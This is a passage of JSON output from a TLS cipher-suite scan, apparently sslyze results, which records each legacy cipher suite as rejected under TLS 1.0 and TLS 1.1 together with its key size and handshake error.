"ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - } - ], - "tls_version_used": "TLS_1_0" - }, - "status": "COMPLETED" - }, - "tls_1_1_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "TLS error: wrong version number" - }, - { - 